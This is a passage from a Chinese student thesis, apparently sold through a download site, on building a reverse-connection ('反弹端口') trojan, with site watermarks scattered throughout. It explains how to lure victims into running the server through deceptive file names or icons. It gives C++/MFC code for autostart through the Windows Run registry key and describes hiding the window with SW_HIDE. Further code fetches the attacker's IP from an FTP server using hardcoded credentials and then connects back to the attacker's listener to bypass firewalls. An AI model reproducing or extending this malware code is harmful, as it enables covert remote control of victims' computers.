038_反弹端口木马
1.无需注册登录,支付后按照提示操作即可获取该资料.
2.资料以网页介绍的为准,下载后不会有水印.资料仅供学习参考之用.
密 惠 保
3.3 用户系统描述
攻击者通过文件名或文件图标等方式诱骗他人下载并运行服务端,服务端经过第一次运行后就能在系统启动时自动加载了,攻击者单击“等待连接”让客户端处于监听状态,与服务端连接成功后,客户端会弹出对话框显示与服务器连接成功的提示,之后,攻击者可以通过单击“动作”中的“光驱弹出”等按钮对被攻击计算机进行各种操作。每次操作成功后都会在信息栏中显示相应的提示信息,并能查看到操作的历史记录。
4 木马的设计与实现
4.1 木马结构设计
根据需求分析本系统分为两大模块,即服务端模块和客户端模块,各模块下分功能子模块,详细结构可用图2描述。
think58好,好think58
[资料来源:www.THINK58.com]
图2 木马结构图
think58.com [资料来源:THINK58.com]
[来源:http://www.think58.com]
4.1.1 木马的主体设计
服务端运行后将自动隐藏窗口,就服务端用户而言,看不到新窗口弹出,感觉不到计算机做了什么操作,从而隐藏了木马的服务端,实现了木马的隐蔽。
客户端运行后将弹出如图3的运行界面,攻击者通过单击界面上的按钮就能很方便的对被攻击计算机进行各种操作。但客户端运行后,应先单击“等待连接”按钮,创建一个套接字,等待服务端的连接。连接成功后将弹出连接成功的对话框,提示用户连接已经成功,用户可以对被攻击计算机进行操作了。
图3 客户端运行界面
copyright think58 [资料来源:http://THINK58.com]
[资料来源:http://www.THINK58.com]4.1.2 木马的自动启动实现
木马的一个基本特性就是要开机自动运行,本木马的自动运行是通过写入注册表的启动项,在根键HKEY_LOCAL_MACHINE下的Software\\Microsoft\\Windows\\CurrentVersion\\Run中建立名为autorun的子键,类型为REG_SZ,数据为当前运行的文件,程序在执行这些操作时首先检查Run下是否已经有该子键,若没有就创建,有就跳过此操作。执行这些操作的代码放在CServerView类的Create函数下,程序初始化时就能自动执行。有了这些操作后木马的服务端就能在被攻击计算机系统启动时自动加载了。
把写入注册表实现自动启动的代码封装在函数write_reg()里,具体实现代码详解如下:
int CServerView::write_reg()//函数名
{
// 根键、子键名称、和到子键的句柄
HKEY hRoot = HKEY_LOCAL_MACHINE;
char *szSubKey = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hKey;
// 打开指定子键
DWORD dwDisposition = REG_OPENED_EXISTING_KEY; // 如果存在则不创建
LONG lRet = ::RegCreateKeyEx(hRoot, szSubKey, 0, NULL,
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition);
本文来自think58 [资料来源:THINK58.com]
if(lRet != ERROR_SUCCESS)
return -1;
// 得到当前执行文件的文件名(包含路径)
char szModule[MAX_PATH] ;
::GetModuleFileName (NULL, szModule, MAX_PATH);
// 创建一个新的键值,设置键值数据为文件名
lRet = ::RegSetValueEx(hKey, "autorun", 0, REG_SZ, (BYTE*)szModule, strlen(szModule));
::RegCloseKey(hKey);
return 1;
}
本文来自think58
4.1.3 木马的窗口隐藏实现
窗口的隐藏是在服务端程序的server.cpp文件中InitInstance()函数的函数体中通过m_pMainWnd->ShowWindow(SW_HIDE)把窗口显示的参数设为SW_HIDE而实现。InitInstance()是进行程序的初始化,服务端程序一旦执行就首先执行该函数,所以服务端运行时首先隐藏窗口。
4.2 木马连接过程
4.2.1 连接过程理论研究
传统木马就是一种基于“客户机/服务器”模式的远程控制程序,它让被攻击的计算机运行服务器端的程序,这个服务器端的程序会在被攻击的计算机上打开监听的端口。这就给黑客入侵用户计算机打开了一扇进出的门,然后黑客就可以利用木马的客户端入侵用户的计算机系统。
图4 客户端与服务端Socket连接过程
常见的普通木马,是驻留在用户计算机里的一段服务程序,而攻击者控制的则是相应的客户端程序。服务程序通过特定的端口,打开用户计算机的连接资源。一旦攻击者所掌握的客户端程序发出请求,木马便和他连接起来,将用户的信息窃取出去。在这个过程中我们发现此类木马的最大弱点,在于攻击者必须和用户主机建立连接,木马才能起作用。随着防火墙技术的提高和发展,基于IP包过滤规则来拦截木马程序可以很有效地防止外部连接,所以有了对外部连接审查严格的防火墙,黑客在无法取得连接的情况下,这样的木马很难工作起来。再厉害的木马也无所作为了。同样,局域网内通过代理上网的电脑,因为是多台共用代理服务器的IP地址,而本机没有独立的互联网IP地址(只有局域网内部的IP地址),所以此时木马也不能正常使用,就是说传统型木马不能访问装有防火墙和在局域网内部的服务端主机。
think58好,好think58
[资料来源:THINK58.com]
在这种情况下,传统的木马已无用武之地,为了能绕过防火墙,充分利用防火墙对于向内的连接往往会进行非常严格的过滤,对于向外的连接却疏于防范。内部发起的连接请求无条件信任的特点,假冒是系统的合法网络请求来取得对外的端口,再连接到木马的客户端,从而建立起服务端与客户端的连接,达到控制目标计算机的目的。进而设计出一种新型木马——反弹端口木马。其建立连接的过程可用图4来描述。
如图4所示,运行在主控端计算机上的客户端先创建一个套接字,绑定之后便处于监听状态,等待服务端的连接请求。目标计算机上线后,同样创建新的套接字,然后向客户端发起连接请求,两端建立好连接后,客户端便可以向服务端发送请求数据,即命令,服务端收到命令后将执行相应的操作。这样客户端就达到控制被控端计算机的目的。 copyright think58
[资料来源:http://think58.com]
4.2.2 木马连接过程实现
假设攻击网络的拓扑结构如图5所示,被攻击者处于图中的左端,IP地址为202.165.102.205,攻击者处于图中的右端,IP地址为222.18.122.131,由于一般主机上网的公网IP地址不是固定的,为了能让服务端能准确的连接到攻击者的计算机,攻击者必需让服务端得到其最新的IP地址,所以木马程序为解决这一问题,采用的办法步骤如下:
1、 攻击者每次开机后运行木马的客户端,程序处于监听状态;
2、 登录图中的FTP服务器,修改其中存有客户端IP地址的文件ipaddress.txt,将自己当前的IP地址写入该文件中;
3、 被攻击者开机后会自动运行木马的服务端,服务端程序首先去访问图中的FTP服务器,下载ipaddress.txt文件到本地计算机上;
4、 服务端读取ipaddress.txt文件获取客户端的IP地址,然后向该IP地址的主机发起连接请求;
5、 客户端接受连接请求,连接建立成功。
图5 攻击网络拓扑结构
木马客户端运行后应先单击“等待连接”来让客户端处于监听状态,单击该按钮将触发clientDlg.cpp文件中事件函数OnConnectButton,其实现监听的代码如下所示:
void CClientDlg::OnConnectButton()
{
MyClient.Create (20007);// MyClient对象调用Create方法,创建套接字,打开2007端口 copyright think58 [资料来源:http://THINK58.com]
MyClient.Bind (20007); //绑定
MyClient.Listen (1); //监听
m_info.ReplaceSel("\r\n监听中...");
}
木马服务端运行后,在连接前应到FTP服务器上获取客户端的IP地址,其实现核心代码如下:
CInternetSession session;
CFtpConnection* pConn=NULL;
pConn=session.GetFtpConnection("222.18.122.131","admin","123456",21);//创建一个FTP连接对象
CString LocalFile;
getcwd(LocalFile, 80);
pConn->GetFile("ipaddress.txt",LocalFile); //下载文件到本地
pConn->Close();
session.Close();
服务端得到客户端IP地址后应该主动向客户端发起连接,其实现是在serverView.cpp中的Create函数中,核心代码如下:
CFile IpFile("ipaddress.txt",CFile::modeRead);//打开当前运行文件路径下的//ipaddress.txt文件
IpFile.Read(p,20); //读取文件,并将文件内容存放在指针p中
IpFile.Close();
ip=CString(p);
server.Create ();//创建套按字
server.Connect(ip,20007); //连接IP地址为ip的主机的20007端口
客户端在监听状态时收到连接请求后,将进行接受请求,此过程是在MySocket.cpp中实现的,收到连接请求将触发文件中的CMySocket类中的OnAccept()重载函数,其实现代码如下,至此整个连接过程完成。
内容来自think58 [来源:http://think58.com]
void CMySocket::OnAccept(int nErrorCode) //函数重载
{
if(Accept(serversocket))//接受连接请求
{
AfxMessageBox("与被控端连接成功!");//在客户端弹出连接成功的信息提示框
};
}
内容来自think58
[资料来源:THINK58.com]